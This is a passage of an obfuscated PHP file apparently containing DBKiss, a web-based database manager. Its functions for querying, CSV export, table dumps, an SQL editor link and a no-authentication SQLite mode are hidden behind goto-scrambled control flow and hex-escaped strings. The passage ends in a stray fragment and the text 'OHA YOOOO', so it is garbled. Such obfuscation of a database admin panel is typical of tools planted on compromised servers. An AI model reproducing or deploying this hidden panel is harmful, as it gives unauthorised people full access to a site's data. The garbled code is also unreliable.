(false !== strpos($val, "\42")) { $enquote = true; $val = str_replace("\x22", "\42\42", $val); } if (false !== strpos($val, "\xd") || false !== strpos($val, "\12")) { $enquote = true; $val = preg_replace("\x23\50\x5c\162\134\x6e\x7c\134\x72\x7c\134\156\x29\x23", "\xa", $val); } if ($enquote) { $row[$key] = "\x22" . $val . "\x22"; } } $out = implode($separator, $row); $out .= "\xd\xa"; return $out; } goto Zrgs9; tHkZr: function ob_cleanup() { while (ob_get_level()) { ob_end_clean(); } if (headers_sent()) { return; } if (function_exists("\x68\x65\x61\144\x65\x72\x73\137\x6c\151\163\x74")) { foreach (headers_list() as $header) { if (preg_match("\x2f\x43\157\x6e\164\x65\156\164\x2d\105\156\143\x6f\144\151\x6e\x67\72\x2f\151", $header)) { header("\103\x6f\x6e\164\x65\156\x74\55\145\x6e\x63\x6f\x64\151\x6e\x67\72\40\156\157\156\x65"); break; } } } else { header("\103\157\156\164\145\156\164\x2d\x65\156\x63\157\144\151\156\147\x3a\x20\x6e\x6f\156\145"); } } goto b3wro; RO4Mo: function query_cut($query) { $brace_start = "\50"; $brace_end = "\x29"; $quote = "\x27"; $inside_brace = false; $inside_quote = false; $depth = 0; $ret = ''; $query = str_replace("\134\x5c", '', $query); for ($i = 0; $i < strlen($query); $i++) { $prev_char = isset($query[$i - 1]) ? $query[$i - 1] : null; $char = $query[$i]; if ($char == $brace_start) { if (!$inside_quote) { $depth++; } } if ($char == $brace_end) { if (!$inside_quote) { $depth--; if ($depth == 0) { $ret .= "\50\x2e\56\x2e\51"; } continue; } } if ($char == $quote) { if ($inside_quote) { if ($prev_char != "\x5c") { $inside_quote = false; if (!$depth) { $ret .= "\47\56\56\56\x27"; } continue; } } else { $inside_quote = true; } } if (!$depth && !$inside_quote) { $ret .= $char; } } return $ret; } goto YNYK9; Rv1h4: function db_quote($s) { global $db_driver; switch (true) { case is_null($s): return "\x4e\x55\x4c\114"; case is_int($s): return $s; case is_float($s): return $s; case is_bool($s): return (int) $s; case is_string($s): if ("\x73\x71\154\x69\164\145" == $db_driver) { global $PDO; return $PDO->quote($s); } else { return "\x27" . db_escape($s) . "\47"; } case is_object($s): return $s->getValue(); default: trigger_error(sprintf("\x64\142\137\161\x75\x6f\164\145\50\51\x20\x66\141\151\154\145\144\56\x20\x49\156\x76\x61\154\x69\144\x20\144\141\x74\141\x20\x74\x79\x70\x65\72\40\x27\x25\163\x27\56", gettype($s)), E_USER_ERROR); return false; } } goto ZKPFc; MJRs1: function array_first_key($arr) { $arr2 = $arr; reset($arr); list($key, $val) = each($arr); return $key; } goto ZCx6r; zvqu1: function redirect_notify($url, $msg) { if (strpos($msg, "\x3c") === false) { $msg = sprintf("\x3c\x62\76\45\163\74\x2f\142\76", $msg); } cookie_set("\x66\x6c\x61\163\x68\x5f\x6e\x6f\164\151\x66\171", $msg); redirect($url); } goto VYB7z; MoQHX: ?>
<div style="clear:both"></div></body></html><?php  goto CHy2l; Ag2j1: function table_structure($table, $type = "\164\141\x62\154\x65") { global $db_driver; if ("\x6d\x79\x73\x71\154" == $db_driver) { if ("\164\x61\142\x6c\x65" == $type) { $query = "\x53\x48\x4f\x57\x20\x43\x52\x45\101\x54\x45\x20\x54\x41\102\114\105\x20\x60{$table}\x60"; $row = db_row_num($query); echo $row[1] . "\73"; echo "\xa\12"; } else { if ("\166\151\145\167" == $type) { $query = "\x53\110\117\x57\x20\103\x52\x45\x41\x54\x45\40\x56\x49\x45\127\x20\x60{$table}\140"; $row = db_row_num($query); echo $row[1] . "\73"; echo "\xa\12"; } else { assert(0); } } } else { if ("\160\147\x73\161\x6c" == $db_driver) { return; } else { if ("\x73\161\154\151\164\x65" == $db_driver) { if ("\x74\x61\x62\x6c\145" == $type) { $sql = PDO_FetchOne("\x53\x45\x4c\x45\x43\x54\40\163\x71\x6c\x20\106\x52\117\x4d\40\x73\161\x6c\x69\x74\145\137\x6d\141\x73\164\x65\x72\x20\x57\x48\x45\122\x45\x20\x6e\x61\x6d\x65\40\75\x20\72\x6e\x61\155\x65\x20\101\116\x44\40\164\x79\x70\145\x3d\47\x74\141\142\154\145\47\x20", array("\x3a\156\141\155\x65" => $table)); $sql = str_replace("\xd\12", "\xa", $sql); echo "{$sql}\x3b\12"; } else { if ("\x76\x69\x65\x77" == $type) { $sql = PDO_FetchOne("\x53\x45\x4c\x45\103\124\40\x73\x71\x6c\x20\106\122\117\x4d\40\163\x71\154\x69\x74\x65\x5f\x6d\x61\163\x74\145\x72\x20\127\110\105\122\x45\40\x6e\x61\x6d\145\40\x3d\x20\72\x6e\141\x6d\145\x20\101\116\x44\40\x74\171\160\145\75\47\166\151\x65\167\47\40", array("\72\x6e\141\x6d\145" => $table)); $sql = str_replace("\xd\12", "\12", $sql); echo "{$sql}\x3b\12"; } else { assert(0); } } unset($sql); if ("\164\x61\x62\154\x65" == $type) { $indexes = PDO_FetchAll("\x53\105\x4c\105\x43\x54\x20\52\x20\106\x52\x4f\115\40\163\x71\x6c\x69\164\x65\x5f\155\141\163\164\x65\162\x20\127\110\x45\x52\105\x20\x74\142\154\137\156\x61\155\x65\40\x3d\x20\72\x74\x62\154\x5f\156\x61\x6d\x65\40\x41\116\104\x20\x74\x79\x70\x65\x3d\x27\x69\x6e\x64\x65\x78\47\40", array("\72\x74\x62\x6c\137\x6e\141\x6d\145" => $table)); foreach ($indexes as $index) { if ($index["\x73\161\x6c"]) { echo "\12\x2d\x2d\x20\x49\116\104\105\130\x3a\40\x22{$index["\x6e\x61\155\x65"]}\x22\12\xa"; echo "{$index["\163\x71\x6c"]}\73\xa"; } } } echo "\12"; } } } } goto uuGey; MymzL: echo $_SERVER["\120\x48\120\x5f\123\x45\114\106"]; goto vxyJt; onra0: if ($db_charset && "\155\171\x73\x71\154" == $db_driver) { db_exe("\x53\x45\124\x20\x4e\x41\115\105\x53\40{$db_charset}"); } goto UW_1v; BxTIr: if (ini_get("\x72\145\147\x69\x73\x74\x65\x72\137\147\154\x6f\x62\x61\x6c\x73")) { header("\x48\x54\x54\120\x2f\61\x2e\60\40\x35\60\63\x20\x53\x65\162\x76\151\x63\x65\40\x55\x6e\141\166\x61\151\154\x61\142\x6c\x65"); die("\x45\x52\x52\117\122\x3a\x20\x72\145\x67\x69\163\164\x65\x72\x5f\x67\154\157\142\x61\x6c\163\x20\151\163\40\117\x6e\56"); } goto AwChU; rZoq3: if ($_GET["\164\141\x62\154\145\x5f\x66\x69\154\164\145\162"]) { ?>
<p>Tables found: <b><?php  echo count($tables); ?>
</b></p><?php  } goto UUaqr; an4Mp: ?>
<h1 style="<?php  goto yybpB; SP7yO: function quote_column($column) { global $db_driver; if ("\155\x79\x73\x71\x6c" == $db_driver) { return "\x60{$column}\x60"; } else { return "\x22{$column}\42"; } } goto Ag2j1; DgmHm: $driver_arr = array("\x6d\171\163\161\x6c", "\160\147\163\x71\x6c"); goto g00NE; qpEZP: function sql_files_assoc() { $files = dir_read("\x2e", null, array("\x2e\x73\161\154")); $files2 = array(); foreach ($files as $file) { $files2[md5($file)] = $file; } return $files2; } goto DXqza; wye1b: $charset1 = array("\154\x61\x74\x69\x6e\x31", "\x6c\141\164\x69\156\x32", "\165\164\146\x38", "\x63\x70\x31\62\x35\60"); goto VtWDG; aP_Pc: function conn_info() { global $db_driver, $db_server, $db_name, $db_user, $db_charset, $page_charset, $charset1, $charset2; $dbs = list_dbs(); $db_name = $db_name; ?>
<p><?php  if (SQLITE_USED) { $db_file = realpath($db_server); $base = basename($db_file); $db_file = substr($db_file, 0, strlen($db_file) - strlen($base)); $db_file = "\x3c\142\x20\x73\164\x79\154\x65\x3d\42\x63\x75\x72\x73\157\x72\x3a\40\150\x65\154\160\x3b\42\40\x74\x69\164\x6c\145\x3d\x22\x4c\x6f\x63\x61\164\x65\x64\x20\x69\156\x3a\x20{$db_file}\42\76{$base}\x3c\57\142\76"; ?>
Database:<?php  echo $db_file; ?>
- <a href="javascript:void(0)"class="blue"onclick='popup("<?php  echo $_SERVER["\120\110\120\x5f\x53\105\x4c\106"]; ?>
?execute_sql=1&popup=1")'>SQL Editor</a> -<?php  if (defined("\x53\x51\x4c\111\x54\105\137\x49\116\x53\105\103\x55\122\x45")) { ?>
User: <b>No authentication</b><?php  } else { ?>
User: <b><?php  echo $db_user; ?>
</b><?php  } if (!defined("\123\121\114\x49\124\x45\137\111\x4e\x53\105\x43\x55\122\x45")) { ?>
- <a href="<?php  echo $_SERVER["\120\110\120\137\x53\105\114\106"]; ?>
?disconnect=1"class="blue">Disconnect</a><?php  } } else { ?>
Driver: <b><?php  echo $db_driver; ?>
</b>- Server: <b><?php  echo $db_server; ?>
</b>- User: <b><?php  echo $db_user; ?>
</b>- <a href="javascript:void(0)"class="blue"onclick='popup("<?php  echo $_SERVER["\120\x48\x50\x5f\x53\x45\114\106"]; ?>
?execute_sql=1&popup=1")'>SQL Editor</a> - Data<u>b</u>ase: <select name="db_name"onchange='location="<?php  echo $_SERVER["\x50\110\120\x5f\123\105\114\x46"]; ?>
?db_name="+this.value'accesskey="b"id="db_name"><?php  echo options($dbs, $db_name); ?>
</select> - Db charset: <select name="db_charset"onchange='location="<?php  echo $_SERVER["\x50\110\120\137\x53\105\114\x46"]; ?>
?db_charset="+this.value+"&from=<?php  echo urlencode($_SERVER["\x52\105\121\x55\105\123\124\x5f\125\x52\x49"]); ?>
"'><option value=""></option><?php  echo options($charset1, $db_charset); ?>
</select> - Page charset: <select name="page_charset"onchange='location="<?php  echo $_SERVER["\x50\x48\120\x5f\x53\x45\x4c\106"]; ?>
?page_charset="+this.value+"&from=<?php  echo urlencode($_SERVER["\x52\105\121\125\105\123\x54\137\125\122\111"]); ?>
"'><option value=""></option><?php  echo options($charset2, $page_charset); ?>
</select> - <a href="<?php  echo $_SERVER["\120\x48\x50\137\x53\x45\114\106"]; ?>
?disconnect=1"class="blue">Disconnect</a><?php  } ?>
<div style="position:absolute;top:1em;right:1.5em">DBKiss version: <b><?php  echo DBKISS_VERSION; ?>
</b><a href="javascript:void(0)"class="special"onclick='link_noreferer("http://www.gosu.pl/dbkiss/")'>Check for updates</a></div></p><?php  } goto rMHWz; BY__D: function db_exe($query, $dat = false) { $rs = db_query($query, $dat); db_free($rs); } goto rLH2K; AWds0: function redirect($url) { $url = url($url); header("\x4c\157\143\x61\x74\151\157\x6e\72\x20{$url}"); die; } goto zvqu1; MsnMv: function db_escape($value) { global $db_driver, $db_link; if ("\155\171\163\x71\154" == $db_driver) { return mysql_real_escape_string($value, $db_link); } else { if ("\160\147\163\161\154" == $db_driver) { return pg_escape_string($value); } else { if ("\163\x71\154\x69\164\x65" == $db_driver) { global $PDO; $value = $PDO->quote($value); $length = strlen($value); if ("\x27" == $value[0] && "\47" == $value[$length - 1]) { return substr($value, 1, $length - 2); } return $value; } } } } goto Rv1h4; danDQ: function PDO_InsertId() { global $PDO; return $PDO->lastInsertId(); } goto JpEBE; XYwQG: ?>
<div style="float:left"><?php  goto NHqTT; D3UPm: ?>
"http-equiv="Content-Type"><meta content="noindex, nofollow"name="robots"><title><?php  goto DSXzk; qCAvq: function DecodeRowId($id) { $id = str_replace("\72\72", "\x3a", $id); if (strstr($id, "\x3a")) { $values = explode("\x3a", $id); return $values; } else { return $id; } } goto t0F5t; sDF2M: function db_end() { global $db_driver; if ("\155\x79\163\x71\154" == $db_driver) { db_exe("\103\x4f\x4d\115\111\124"); db_exe("\x53\x45\124\x20\101\125\x54\x4f\x43\117\115\115\111\124\x3d\x31"); } else { if ("\x70\x67\163\x71\x6c" == $db_driver) { db_exe("\x43\x4f\x4d\x4d\111\x54"); } else { if ("\163\161\x6c\x69\164\x65" == $db_driver) { db_exe("\103\x4f\115\115\111\x54\40\x54\122\x41\x4e\x53\101\103\124\x49\x4f\x4e"); } } } } goto IoMql; XjEPj: ?>
?dbkiss_favicon=1"rel="shortcut icon"></head><body><?php  goto CUIEU; ZKPFc: function db_strlen_cmp($a, $b) { if (strlen($a) == strlen($b)) { return 0; } return strlen($a) > strlen($b) ? -1 : 1; } goto A7Rq2; I6saY: function str_has_any($str, $arr_needle, $ignore_case = false) { if (is_string($arr_needle)) { $arr_needle = preg_replace("\x23\134\x73\53\43", "\40", $arr_needle); $arr_needle = explode("\x20", $arr_needle); } foreach ($arr_needle as $needle) { if (str_has($str, $needle, $ignore_case)) { return true; } } return false; } goto a1dKD; ml69U: function db_is_result($rs) { global $db_driver; if ("\155\x79\x73\161\154" == $db_driver) { return is_resource($rs); } else { if ("\160\x67\163\161\154" == $db_driver) { return is_object($rs) || is_resource($rs); } else { if ("\163\x71\154\x69\164\x65" == $db_driver) { return is_object($rs); } } } } goto yr7yf; jStKP: function ht_controller() { if (isset($_GET["\150\x74\137\x6c\157\x67\157\x75\164"]) && $_GET["\150\164\137\154\157\147\x6f\165\164"]) { ht_logout(); } if (ht_authorize()) { return 1; } ht_authenticate(); die; } goto PAwFH; Q862g: if (!isset($db_name_h1)) { $db_name_h1 = ''; } goto OSCcx; s2HaZ: function ParseTime_Tests($now = null) { while (ob_get_level()) { ob_end_clean(); } header("\x43\x6f\156\164\145\x6e\164\55\x45\156\x63\x6f\144\x69\156\x67\72\40\156\x6f\x6e\x65"); ob_start(); $tests = array("\156\157\167", "\x20\156\157\167", "\x6e\157\x77\x28\x29", "\164\x69\155\x65", "\116\x4f\127\x28\x29", "\124\111\115\105\x28\x29", "\x75\156\151\170\137\x74\151\x6d\145\x73\x74\x61\155\160", "\x63\165\162\162\x65\156\x74\x5f\164\x69\155\x65\x73\164\141\x6d\x70", "\124\x6f\x64\141\x79", "\x74\x65\162\x61\172", "\x64\x7a\x69\163\x69\x61\x6a", "\144\172\x69\x73", "\x6e\157\167\x20\x31\x33\72\60\x30", "\156\x6f\167\40\x20\x31\x33\x3a\x31\x33", "\x54\x6f\144\x61\x79\x20\61\x33\72\x31\x33\72\61\x33", "\144\172\151\x73\151\x61\152\40\61\63\x3a\61\63\72\61\63", "\x74\145\162\141\x7a\x20\61\x33\72\x31\x33", "\144\x7a\151\x73\40\x31\63\x3a\x31\x33", "\171\x65\x73\164\145\x72\x64\141\x79", "\x57\143\172\157\x72\141\152", "\124\x6f\x6d\157\162\x72\x6f\167", "\152\165\164\x72\157", "\x79\x65\163\x74\x65\162\x64\x61\x79\x20\x31\x33\x3a\61\x33", "\131\145\163\164\x65\x72\144\x61\171\40\61\x33\x3a\x31\63\x3a\61\x33", "\x57\143\172\x6f\x72\x61\x6a\x20\x31\x33\x3a\61\63", "\124\x6f\x6d\x6f\162\x72\x6f\x77\x20\61\63\x3a\x31\x33", "\164\157\155\157\162\162\x6f\x77\40\x31\x33\x3a\x31\63\72\x31\x33", "\152\x75\164\x72\x6f\40\x31\63\72\x31\x33", "\160\x6f\x6a\165\164\162\172\145", "\160\157\x6a\x75\x74\x72\172\x65\x20\x31\x33\72\x31\63", "\x70\x72\172\145\x64\167\x63\x7a\157\162\141\x6a", "\160\x72\172\x65\x64\167\143\x7a\157\162\x61\x6a\40\61\63\72\x31\x33", "\x32\x30\61\x33\x2d\61\62\55\61\x33", "\62\60\61\x33\55\61\62\55\x31\63\40\x31\63\x3a\61\x33", "\62\60\x31\x33\55\61\62\55\x31\63\40\61\x33\72\x31\x33\72\61\63", "\62\60\x31\x31\55\61\x33\x2d\x31\x33", "\62\x30\x31\x31\55\x31\62\55\x33\63", "\61\x33\56\x31\x32", "\61\63\56\61\x32\40\x31\x33\72\x31\x33", "\x31\63\56\61\x32\x20\61\63\x3a\61\63\x3a\61\x33", "\x31\63\56\61\x32\x2e\x32\x30\x31\x33", "\x31\x33\56\x31\62\56\62\x30\x31\x33\x20\x31\63\x3a\x31\63", "\x31\x33\56\x31\62\56\x32\60\61\63\x20\61\63\x3a\x31\63\x3a\61\x33", "\x31\x33\72\61\63", "\x31\x32\144", "\61\x32\x20\x64\x6e\151", "\53\x20\x31\x32\40\x64\x6e\x69", "\55\61\x79\x65\x61\162", "\x74\x65\162\141\172\x20\55\61\171\x65\x61\162", "\x64\172\151\163\x69\x61\152\40\x31\x32\72\x30\60\x20\x2d\x31\171\145\x61\x72", "\55\x31\x6d\x6f\x6e\164\150", "\53\x31\40\155\157\156\164\150", "\53\62\x6d\x6f\156\x74\x68", "\x2b\63\155\x6f\x6e\x74\x68", "\53\x34\155", "\53\65\155", "\x31\x64\x20\55\x35\x68", "\x31\171\40\55\x20\x35\x64\x20\53\x20\x35\x68", "\x31\x79\40\x2d\x35\40\104\156\x69", "\x2d\61\x20\164\171\144\x7a\151\145\156\40\x31\x33\72\61\x33", "\55\61\167", "\x77\143\x7a\157\x72\141\152\40\x2b\61\x68", "\x77\143\x7a\x6f\162\x61\152\x20\55\x31\x68", "\152\x75\x74\x72\x6f\40\53\x31\144\172\151\x65\156", "\53\61\x32\x6d", "\53\x31\63\155", "\53\x32\64\x6d", "\x2b\x32\65\155", "\x2b\x33\x36\x6d", "\53\63\67\155", "\x2b\x34\70\155", "\53\64\x39\155", "\61\163\164\40\146\145\142\162\x75\141\x72\171", "\x31\40\146\145\142\x72\x75\x61\162\171", "\62\x6e\144\x20\106\145\142", "\x33\x72\144\x20\106\x65\142", "\64\x74\150\x20\106\145\142\40\x32\60\61\x33", "\61\65\x20\163\x74\171\x63\172\156\x69\141", "\x73\x74\x79\143\x7a\156\151\x61", "\x73\164\171\x63\x7a\x65\xc5\x84\40\61\65\x3a\60\60", "\61\65\x20\x73\x74\x79\x63\172\145\305\x84", "\61\x35\40\x73\164\x79", "\x31\62\40\x6c\165\164\145\147\x6f", "\61\62\x20\x6c\x75\164\x79", "\x31\62\x20\x4c\x75\x74", "\61\x35\x20\x73\x74\x79\143\x7a\x65\305\x84\40\157\40\61\67\x3a\x30\60", "\x32\x31\40\163\164\171\143\172\x65\x6e\40\62\x30\61\60", "\x32\61\x73\172\171\40\163\164\171\143\x7a\156\x69\141", "\62\x31\x2d\163\x7a\171\40\x73\164\x79\143\x7a\156\x69\x61", "\x32\x31\x73\164\40\x4a\x61\x6e\165\141\x72\x79", "\x32\x31\x20\112\141\x6e\165\x61\162\171", "\155\x6f\x6e\x64\x61\171\40\61\65\x3a\60\60", "\164\165\x65\163\144\141\171\x20\x31\x35\72\60\60", "\160\157\156\x69\145\x64\172\151\141\xc5\x82\145\x6b\40\x31\x35\x3a\60\60", "\167\164\x6f\x72\145\153\x20\61\65\72\60\60", "\53\61\x20\x73\x61\x74\x75\162\x64\x61\171\x20\61\x35\x3a\x30\60", "\x2b\x32\40\163\141\x74\x75\162\144\141\171", "\x69\x6e\x20\62\x20\x64\x61\x79\163\x20\x61\164\40\x31\65\x3a\60\x30", "\x7a\141\x20\62\40\x64\x6e\x69\x20\x6f\x20\x31\65\72\x30\60", "\x7a\141\x20\x33\x20\144\x6e\151\40\x69\40\x35\40\x67\x6f\x64\x7a\x69\156", "\151\156\40\62\x20\x64\141\x79\163\x20\x61\156\144\x20\65\x20\150\x6f\165\x72\x73", "\53\62\144\x61\x79\x73\40\53\65\x68\157\x75\x72\163", "\x2b\60\x68", "\65\40\x67\x6f\144\172\151\x6e", "\x35\40\155\x69\x6e\165\164", "\x35\x20\x73\x65\x6b\165\x6e\x64", "\172\x61\x20\164\171\144\x7a\x69\x65\xc5\204", "\x7a\x61\x20\62\x20\x74\171\x67\157\144\x6e\151\x65", "\156\x65\170\164\40\x6d\157\156\144\x61\x79", "\x70\x72\x65\166\x20\155\x6f\x6e\x64\141\171", "\160\x72\x65\166\x69\157\165\163\40\155\x6f\156\144\x61\x79", "\x6c\x61\163\x74\x20\x6d\157\x6e\144\x61\171", "\156\x61\x73\x74\304\x99\x70\x6e\171\40\160\157\x6e\x69\x65\144\x7a\x69\141\xc5\x82\x65\x6b", "\x70\157\160\162\x7a\145\x64\x6e\151\40\x70\157\156\151\145\144\x7a\x69\141\xc5\x82\145\x6b", "\157\163\164\x61\164\x6e\x69\x20\160\157\x6e\151\145\144\x7a\151\x61\305\202\x65\x6b", "\x2b\x31\155\157\156", "\x2b\x31\40\x74\165\145", "\156\145\170\164\40\167\145\144", "\156\x65\170\164\40\x57\145\144\x20\x31\x35\x3a\x30\x30", "\53\x31\160\x6f\156", "\53\x31\40\x77\x74\x6f", "\156\x61\163\x74\xc4\231\x70\x6e\171\40\x50\x6f\156"); printf("\x3c\164\x69\164\154\x65\76\x4e\141\x74\165\x72\x61\154\x20\x74\151\x6d\x65\40\163\164\x72\151\156\147\x73\x3c\57\164\x69\x74\154\145\76"); printf("\74\x6d\x65\x74\x61\40\x63\x68\x61\162\163\x65\x74\75\x75\x74\146\x2d\70\76"); printf("\x3c\163\164\171\x6c\145\40\164\x79\160\145\x3d\x74\x65\170\x74\x2f\143\x73\x73\x3e\150\164\x6d\154\54\40\142\157\x64\x79\40\173\40\155\141\162\147\151\156\x3a\x20\60\x3b\40\160\141\x64\144\x69\x6e\147\x3a\x20\x30\x3b\40\x7d\x20\x62\x6f\144\171\x20\x7b\40\x6d\x61\162\x67\x69\156\x3a\40\x31\x65\x6d\x20\x31\x2e\65\145\155\73\40\160\x61\144\x64\x69\156\147\72\x20\60\x65\155\73\x20\x7d\40\142\157\x64\171\54\x20\164\141\x62\154\145\40\173\x20\146\x6f\156\164\x3a\40\x31\x31\160\x78\x20\124\x61\150\x6f\x6d\x61\x3b\x20\175\40\x62\x6f\x64\171\x20\173\x20\154\x69\x6e\145\55\150\x65\x69\147\150\x74\72\x20\x31\56\x34\145\155\73\40\x7d\40\150\61\x20\173\40\x66\157\156\x74\x3a\40\142\157\x6c\144\40\61\65\x70\x78\40\124\x61\x68\x6f\155\141\73\40\175\x3c\x2f\x73\x74\x79\x6c\145\76"); printf("\74\x68\61\76\116\141\x74\165\x72\141\154\x20\164\x69\155\x65\40\x73\164\162\x69\x6e\x67\163\x3c\x2f\x68\x31\76"); printf("\x3c\144\x69\166\76\111\x6e\x20\x66\x69\145\154\144\163\40\157\146\x20\164\171\x70\x65\x20\x3c\142\76\x49\116\124\x3c\x2f\142\76\x20\x79\x6f\165\40\143\141\156\40\165\163\x65\40\x6e\141\164\x75\162\141\154\x20\x73\164\162\x69\156\x67\40\164\x69\155\x65\163\x20\164\157\40\147\x65\x6e\145\x72\x61\x74\145\40\74\x62\76\125\x6e\x69\170\40\124\x69\155\145\x73\x74\141\155\160\163\74\57\142\x3e\56\x3c\x2f\x64\x69\x76\x3e"); printf("\x3c\144\x69\166\76\131\157\x75\40\x63\x61\156\x20\141\154\x73\157\40\165\x73\145\x20\164\150\151\163\x20\163\164\162\x69\x6e\x67\x73\40\151\156\x20\146\151\x65\154\144\x73\40\157\x66\40\164\x79\160\x65\40\x3c\142\76\x44\x41\124\x45\x54\x49\x4d\105\x3c\57\142\x3e\x20\x61\156\144\x20\74\142\76\x54\x49\115\105\123\124\101\115\x50\x3c\x2f\142\76\56\74\x2f\x64\x69\x76\76"); printf("\x3c\144\x69\x76\x3e\x53\165\x70\160\157\162\164\145\x64\x20\154\141\156\147\165\x61\x67\x65\x73\x20\x61\162\x65\72\x20\x3c\142\x3e\x45\x6e\x67\154\x69\x73\x68\x3c\x2f\x62\76\x20\141\156\x64\40\x3c\x62\76\120\x6f\154\151\x73\150\74\x2f\142\76\x2e\74\144\x69\166\76\74\x62\162\76"); printf("\74\163\164\x79\x6c\145\x20\164\171\160\x65\x3d\164\145\170\x74\x2f\x63\x73\163\x3e\164\150\x20\x7b\40\x62\x61\x63\153\147\x72\157\x75\156\144\x3a\x20\43\144\144\x64\x3b\x20\160\141\144\x64\x69\x6e\x67\72\x20\x32\x70\170\x20\x34\160\x78\73\40\40\175\40\164\x64\x20\173\40\x62\x61\143\x6b\147\x72\x6f\165\x6e\144\x3a\40\43\x66\65\x66\65\146\65\73\x20\160\141\x64\x64\151\156\147\x3a\40\62\x70\x78\40\64\160\x78\x3b\40\175\x3c\x2f\163\x74\171\154\145\x3e"); printf("\74\164\x61\142\x6c\x65\x20\x63\145\154\154\x73\x70\141\143\x69\x6e\147\x3d\x31\40\x63\145\154\x6c\160\x61\x64\144\151\156\x67\x3d\x30\x3e"); printf("\x3c\164\x72\x3e\74\164\x68\x3e\123\x74\x72\x69\156\147\x3c\x2f\164\x68\76\x3c\164\150\76\x44\x61\x74\x65\74\57\164\150\76\74\x2f\164\162\x3e"); $no = 0; foreach ($tests as $string) { ++$no; $result_time = ParseTime($string, $now); $result = date("\x59\x2d\155\x2d\144\x20\110\72\151\x3a\163", $result_time); if ($result_time == 0) { $result = 0; } printf("\74\x74\x72\76\x3c\x74\x64\76\45\163\x3c\x2f\x74\x64\76\74\x74\x64\76\x25\163\74\x2f\x74\x64\76\x3c\57\164\x72\x3e", $string, $result); } printf("\x3c\x2f\164\x61\x62\154\145\76\x3c\x62\162\x3e"); die; } goto TNYXn; XvoIy: conn_info(); goto GQOZz; gW6Y2: function ConnectError($msg) { $msg = ConvertPolishToUTF8($msg); printf("\x3c\41\144\x6f\x63\x74\x79\160\x65\x20\150\x74\x6d\x6c\x3e\74\150\164\x6d\x6c\x3e\x3c\150\x65\x61\144\x3e\74\155\145\164\x61\x20\x63\150\141\x72\x73\x65\164\75\x75\x74\x66\55\x38\76\x3c\164\x69\x74\154\x65\x3e\103\x6f\156\x6e\x65\x63\164\x20\105\x72\162\x6f\162\x3c\57\164\x69\x74\x6c\145\x3e"); printf("\x3c\155\145\x74\141\x20\x6e\x61\155\x65\75\42\x72\x6f\142\x6f\164\163\42\x20\x63\157\156\x74\x65\156\x74\75\42\x6e\x6f\151\x6e\x64\x65\170\54\156\157\146\157\154\x6c\x6f\x77\42\76"); printf("\74\154\x69\156\153\x20\162\x65\154\75\42\x73\x68\157\x72\x74\143\x75\x74\x20\x69\x63\x6f\156\x22\40\x68\x72\145\x66\75\x22{$_SERVER["\x50\x48\x50\137\x53\x45\114\106"]}\x3f\144\142\x6b\151\x73\163\x5f\x66\x61\166\151\143\157\x6e\x3d\61\42\76"); printf("\74\163\164\171\x6c\x65\x20\164\171\160\145\x3d\164\145\x78\164\x2f\x63\x73\163\76"); printf("\142\157\x64\x79\x20\173\x20\146\157\x6e\164\72\x20\x31\61\160\170\x20\124\141\x68\x6f\155\141\73\x20\x6c\151\156\x65\55\x68\x65\x69\x67\x68\x74\x3a\x20\x31\56\64\x65\x6d\x3b\40\x70\141\x64\144\x69\156\x67\x3a\40\60\x65\x6d\x3b\x20\x6d\141\162\x67\151\x6e\72\x20\x31\145\155\40\x31\56\65\145\155\73\40\175"); printf("\150\61\x20\173\40\146\157\x6e\164\72\40\142\x6f\x6c\x64\x20\x31\x35\x70\170\40\124\141\x68\x6f\155\x61\x3b\x20\142\157\x72\x64\x65\162\55\142\x6f\x74\164\x6f\155\x3a\40\x72\147\x62\50\61\x37\x35\x2c\40\65\60\x2c\x20\x30\51\x20\x31\160\x78\x20\163\x6f\154\x69\x64\73\40\155\x61\x72\147\x69\156\x2d\142\x6f\x74\164\157\x6d\x3a\40\60\56\x38\x35\145\x6d\73\x20\x70\x61\x64\144\151\x6e\147\x2d\x62\x6f\x74\164\x6f\155\x3a\40\x30\x2e\62\65\145\155\73\40\x63\157\154\x6f\162\x3a\x20\x72\x67\x62\x28\x32\x30\60\54\40\x35\60\54\40\x30\x29\x3b\x20\164\x65\170\164\55\x73\150\141\x64\157\x77\x3a\x20\61\160\x78\x20\x31\x70\x78\x20\61\x70\170\x20\x23\x66\x66\x66\73\x20\x7d"); print "\150\62\40\x7b\x20\146\157\x6e\x74\x3a\40\142\x6f\154\144\40\x31\63\x70\x78\x20\124\141\x68\x6f\x6d\141\x3b\40\x6d\141\x72\147\x69\156\55\x74\x6f\x70\x3a\40\61\x65\155\73\x20\143\x6f\154\157\x72\72\40\x23\60\60\x30\x3b\40\164\x65\170\x74\x2d\163\x68\141\x64\157\x77\x3a\x20\x31\160\170\x20\61\160\170\x20\61\160\170\40\x23\x66\146\146\73\x20\x7d"; printf("\x3c\57\163\x74\x79\x6c\145\x3e\x3c\x2f\150\x65\x61\x64\x3e\x3c\142\157\x64\171\x3e"); printf("\74\150\x31\76\103\157\x6e\156\145\x63\x74\40\105\162\x72\157\x72\x3c\57\150\61\76"); print $msg; die; } goto ytMvS; EWryB: ')); ?>
OHA YOOOO